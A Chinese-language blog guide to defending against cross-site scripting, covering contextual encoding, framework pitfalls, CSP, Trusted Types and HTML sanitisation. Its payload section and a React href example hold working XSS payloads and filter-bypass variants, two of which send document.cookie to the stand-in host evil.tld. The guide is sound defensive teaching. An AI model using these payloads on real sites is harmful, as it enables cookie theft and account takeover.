← 返回博客首页

XSS 防御完全指南:从上下文编码到 CSP 与 Trusted Types

XSS 的本质:把数据当成代码执行

XSS(跨站脚本)的根因只有一个:不可信数据被浏览器当作可执行代码解析了。所有防御手段,本质上都是在"数据"与"代码"之间划一条清晰的界线,并让浏览器无法跨越它。

按注入与触发的位置,XSS 分为三类:

类型 数据从哪来 在哪触发 是否经过服务端 典型场景
反射型 URL 参数 / 表单提交 服务端把参数原样拼进 HTML 返回 搜索结果页、错误提示页
存储型 数据库(用户此前提交的内容) 其他用户访问页面时渲染出来 评论、昵称、论坛帖子
DOM 型 URL fragment / postMessage / 客户端接口 前端 JS 把它写进 DOM 单页应用路由、innerHTML 渲染

三类里 DOM 型最容易被漏掉:服务端日志里完全看不到攻击载荷(数据根本没发到服务器),WAF 与服务端过滤对它无效,只能在前端代码里防。

载荷长什么样

先认识敌人,再看防御。以下都是能真实触发的最小示例:

<!-- 1. 经典 script 注入 -->
<script>alert(document.cookie)</script>

<!-- 2. 事件处理器(无需 script 标签) -->
<img src=x onerror="fetch('https://evil.tld?c='+document.cookie)">

<!-- 3. SVG 里的小众事件,可绕过大量关键词黑名单 -->
<svg><animate onbegin=alert(1) attributeName=x dur=1s>

<!-- 4. javascript: 伪协议 -->
<a href="javascript:alert(1)">click</a>

<!-- 5. 大小写 + 实体编码混淆 -->
<IMG SRC=x ONERROR=&#106;avascript:alert(1)>

<!-- 6. 标签内插空(换行/Tab 都能被浏览器容忍) -->
<img/src=x
onerror=alert(1)>

<!-- 7. 突破属性引号后追加新属性 -->
" onmouseover="alert(1)

<!-- 8. 模板字符串 / JS 上下文逃逸 -->
'; alert(1); //

注意第 8 条:它不含任何 HTML 尖括号,在 HTML 转义后依然危险——因为它攻击的是 JavaScript 字符串上下文,不是 HTML 上下文。这直接引出下一节。

核心原则:按上下文编码,而不是"统一转义"

这是全文最重要的一节。编码方案由输出位置决定,不是由数据来源决定。 同一个字符串放进不同位置,需要完全不同的编码:

输出上下文 危险字符 正确编码 错误做法
HTML 文本节点 <div>数据</div> < > & HTML 实体编码 只过滤 <script>
HTML 属性值 <div title="数据"> " ' & 空格 HTML 属性编码 + 引号包裹属性 不加引号地输出
JavaScript 字符串 var a = '数据' ' " \ 换行 \xNN 十六进制转义 只做 HTML 转义
URL 参数 ?q=数据 非字母数字字符 encodeURIComponent 手写替换
CSS 值 color: 数据 ( ) ; url CSS 转义 + 严格白名单校验 直接拼接

最常见的错误,是把 HTML 转义当成万能药。 看这个例子:

// ❌ 危险:数据落在 JS 字符串上下文,HTML 转义救不了你
const username = "'; alert(document.cookie); //"
element.innerHTML = `<div onclick="greet('${escapeHtml(username)}')">hi</div>`
// escapeHtml 不会转义单引号之外的 JS 元字符,字符串被闭合,alert 被执行

正确做法有两种,任选其一(推荐第一种):

// ✅ 方案一:根本不拼接代码,用 DOM API 与事件绑定,彻底避开上下文问题
const div = document.createElement('div')
div.textContent = username            // textContent 永不解析 HTML
div.addEventListener('click', () => greet(username))

// ✅ 方案二:非要内联,就把数据序列化成 JSON 再放进 script,且不拼进 HTML 属性
<script type="application/json" id="boot">{"username":"<\/script>"}</script>

需要检查某个字符该转成哪个实体时,可以用本站的 HTML 实体编码工具 直接查结果;完整的实体对照表见 HTML 实体速查表。URL 场景请用 URL 编解码工具,规则说明见 URL 编码速查表

框架的真实边界

现代框架的模板插值(React 的 {value}、Vue 的 {{ value }})默认做 HTML 文本转义,这消灭了绝大部分 XSS。但边界必须清楚:

写法 是否安全 说明
<div>{userInput}</div> ✅ 安全 走文本节点,自动转义
<div title={userInput}> ✅ 安全 属性值,框架会处理
<a href={userInput}> ⚠️ 需校验 框架不校验协议javascript: 原样保留
dangerouslySetInnerHTML ❌ 危险 等同 innerHTML,零转义
v-html="userInput" ❌ 危险 等同 innerHTML,零转义
ref + innerHTML = x ❌ 危险 完全绕过框架
style={{ background: userInput }} ⚠️ 需校验 CSS 上下文,老浏览器存在注入面
服务端 SSR 拼字符串返回 ⚠️ 视拼接方式 序列化状态进 HTML 时必须转义 </script>

href 的坑尤其隐蔽。React 与 Vue 都只做转义不做协议校验,下面这行在两者中都会渲染出一个可执行链接:

<a href={profile.website}>个人主页</a>
// profile.website = "javascript:fetch('//evil.tld?c='+document.cookie)"

修复是在渲染前做一次协议白名单校验:

function safeUrl(raw) {
  try {
    const u = new URL(raw, window.location.origin)
    return ['http:', 'https:', 'mailto:'].includes(u.protocol) ? u.href : '#'
  } catch { return '#' }   // 解析失败一律回落到安全值
}

CSP:让注入即使发生也无法执行

内容安全策略通过响应头告诉浏览器"只允许执行来自这些来源的代码"。它不是防注入,而是让注入后的代码跑不起来

关键指令

指令 控制对象 建议值
default-src 所有资源的兜底策略 'self'
script-src JavaScript 'self' + nonce/hash,不要 'unsafe-inline'
style-src CSS 'self' + nonce(CSS 同样可注入)
img-src 图片 'self' data: https:
connect-src fetch / XHR / WebSocket 'self' 及明确的 API 域
frame-ancestors 谁可以 iframe 嵌你 'none'(替代已废弃的 X-Frame-Options)
base-uri <base> 标签 'none'(防相对路径劫持)
form-action 表单提交目标 'self'
object-src 插件 'none'
require-trusted-types-for DOM XSS 强制 'script'

nonce 与 hash:不用 'unsafe-inline' 也能跑内联脚本

内联脚本是 CSP 落地最大的现实阻碍(老代码、埋点片段、SSR 注入的初始化数据)。三种解法:

# 方案一:nonce —— 每次响应生成随机值,两端一致才放行(推荐)
Content-Security-Policy: script-src 'self' 'nonce-r@nd0mValue'
<script nonce="r@nd0mValue">initApp()</script>
# 方案二:hash —— 计算脚本内容的 SHA-256,内容变了就失效
Content-Security-Policy: script-src 'self' 'sha256-hashOfScriptContent='
// 方案三:把内联脚本外置成文件,最干净但改动最大
// <script src="/js/init.js" defer></script>

nonce 的两个硬性要求:每次响应必须是密码学随机的(否则攻击者读一次就能复用),且绝不能同时写 'unsafe-inline'——浏览器在 nonce 存在时会忽略 'unsafe-inline',但反过来写会让策略自相矛盾而失效。

灰度上线:report-only

直接上强制策略有打断业务的风险。正确姿势是先观察:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

收集一到两周的违规报告,逐条修掉(或明确加白),再把 Report-Only 换成正式头。响应头的完整语义可对照 HTTP 头速查表

Trusted Types:从根上消灭 DOM XSS

Trusted Types 把危险 DOM sink(innerHTMLouterHTMLdocument.writeeval<iframe> srcdoc 等)从"接受字符串"改成"只接受特殊对象"。想往 innerHTML 写内容,必须先经过一个你注册的净化策略:

// 1. 注册策略:这里是唯一的净化关口
trustedTypes.createPolicy('default', {
  createHTML: input => DOMPurify.sanitize(input),
})
# 2. 服务端下发强制头
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default

之后任何未经策略的赋值都会直接抛异常:

el.innerHTML = userInput          // ❌ TypeError: This document requires 'TrustedHTML'
el.innerHTML = sanitizedOutput    // ✅ 经过策略包装的对象

这个机制的妙处在于把"别忘了净化"从开发纪律变成了类型系统的强制约束,漏改会立刻在开发阶段报错而非悄悄上线。Chrome 与 Edge 已支持,Firefox 与 Safari 尚未全覆盖——配合 CSP 使用,不支持的浏览器退化为普通 CSP 防护,不产生副作用。

富文本:必须净化,不能转义

Markdown 渲染、评论、所见即所得编辑器,都需要保留部分 HTML。此时转义会毁掉格式,唯一出路是白名单净化

import DOMPurify from 'dompurify'

const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['p','br','strong','em','a','ul','ol','li','code','pre','blockquote','h2','h3'],
  ALLOWED_ATTR: ['href','title','target','rel'],
  ALLOWED_URI_REGEXP: /^(?:https?:|mailto:|#)/i,   // 掐死 javascript: 与 data:
})

// 渲染外链时务必补 rel,防反向标签劫持
document.querySelectorAll('.rich a[target=_blank]')
  .forEach(a => a.rel = 'noopener noreferrer')

服务端语言也有对等方案:Python 用 bleachammonia(Rust 移植版),Java 用 OWASP Java HTML Sanitizer,PHP 用 HTMLPurifier。不要自己写正则解析 HTML——HTML 不是正则语言,解析器容错规则极其复杂,自研净化器几乎必然有绕过。真要写正则做校验,先用 正则测试工具 把边界用例跑透。

八个高频误区

误区 为什么错 正确做法
黑名单过滤关键词 HTML 等价写法近乎无限 白名单 + 输出编码
只在入库时过滤 存储层可被其他途径写入;过滤会破坏原始数据 入库保留原文,输出时编码/净化
依赖 WAF WAF 是拦截层不是修复层,且拦不住 DOM 型 修代码,WAF 只作辅助
CSP 里保留 'unsafe-inline' 等于允许任意内联脚本,CSP 基本失效 改用 nonce 或 hash
innerHTML 拼接"已转义"的串 转义与上下文不匹配时照样崩 textContent 或 DOM API
认为 HttpOnly cookie 能防 XSS 它只挡 cookie 读取,攻击者仍可改 DOM、发起请求、钓鱼 HttpOnly 是减缓,不是防御
只转义 <> 属性上下文里 " 才是杀手 按上下文完整编码
前端校验过就不管服务端 前端校验可被直接绕过(curl 打接口) 服务端必须独立校验

关于最后一条:前端校验的价值是体验,安全价值为零。攻击者根本不打开你的页面,直接构造请求打接口。

上线检查清单

  • [ ] 所有不可信数据按输出上下文选择编码方式,而非统一 HTML 转义
  • [ ] HTML 属性一律用引号包裹,属性值做属性编码
  • [ ] 无 innerHTML / v-html / dangerouslySetInnerHTML 处理不可信数据;有则前置净化
  • [ ] 所有 href / src 经过协议白名单校验(http/https/mailto
  • [ ] CSP 已部署,不含 'unsafe-inline';内联脚本走 nonce 或 hash
  • [ ] CSP 经过 Report-Only 灰度,无遗留违规
  • [ ] 富文本经 DOMPurify(或服务端对等库)白名单净化后再渲染
  • [ ] 会话 Cookie 设 HttpOnly + Secure + SameSite
  • [ ] SSR 序列化状态进 HTML 时转义 </script><!--
  • [ ] 依赖定期 npm audit,第三方脚本锁定版本或用 SRI

相关资源

字符编码层面,本站的 HTML 实体编码工具URL 编解码工具 可以直接验证转义结果;需要查看 JWT 载荷是否夹带可执行内容时用 JWT 解析,Base64 混淆的载荷用 Base64 编解码

广告

常见问题

用了 React 或 Vue 就不需要防 XSS 了吗?

不够。框架的自动转义只对**通过模板插入的文本**生效,一旦你用 `dangerouslySetInnerHTML`、`v-html`、`innerHTML`、或者直接操作 DOM,转义保护就完全消失了。此外框架转义的是插入点,不会清理你从接口拿到的脏数据本身——数据经 API 返回给原生 App、导出成 CSV、或写进邮件模板时照样能触发问题。正确做法是:框架转义当作第一层,输出编码、CSP、净化当作第二三层。

为什么不能用黑名单过滤 script、onerror 这些关键词?

因为 HTML 的语法容错性极强,攻击者有近乎无限的等价写法,黑名单永远追不上。大小写混写 `<ScRiPt>`、无引号属性、换行与制表符插空 `<img/src=x onerror=alert(1)>`、HTML 实体还原 `&#106;avascript:`、以及完全不含这些词的载荷 `<svg><animate onbegin=alert(1)>`,都能轻松穿透关键词过滤。唯一正确的方向是**白名单**:只允许明确安全的标签与属性,其余一律编码掉。

CSP 能单独防住 XSS 吗?

不能,它是一道**减缓措施**而非根治手段。CSP 的核心价值是切断「注入成功」到「造成实际危害」之间的链路——禁止内联脚本与第三方域加载,攻击者的载荷就没法执行或外传数据。但它拦不住所有场景:DOM 型 XSS 若通过已被允许的域里的脚本触发、JSONP 端点、`unsafe-eval` 依赖、以及 `script-src` 配了 `'unsafe-inline'` 或过宽的域,都会削弱甚至失效。CSP 必须配合输出编码一起用。

富文本编辑器(Markdown / 所见即所得)的内容怎么安全渲染?

必须走**服务端或渲染前的 HTML 净化**,不能靠转义——转义会把用户想保留的格式一起显示成源码。标准做法是 DOMPurify(客户端)或 bleach/ammonia(服务端)这类基于白名单的净化库:解析成 DOM 树,只保留白名单标签与属性(尤其要剔除所有 `on*` 事件属性与 `javascript:` 协议),再序列化回 HTML。**关键原则:先净化再存储是可选的,渲染前净化是必须的**,因为存储层可能被其他途径写入。再叠加 CSP 作为第二道防线。

← 返回博客首页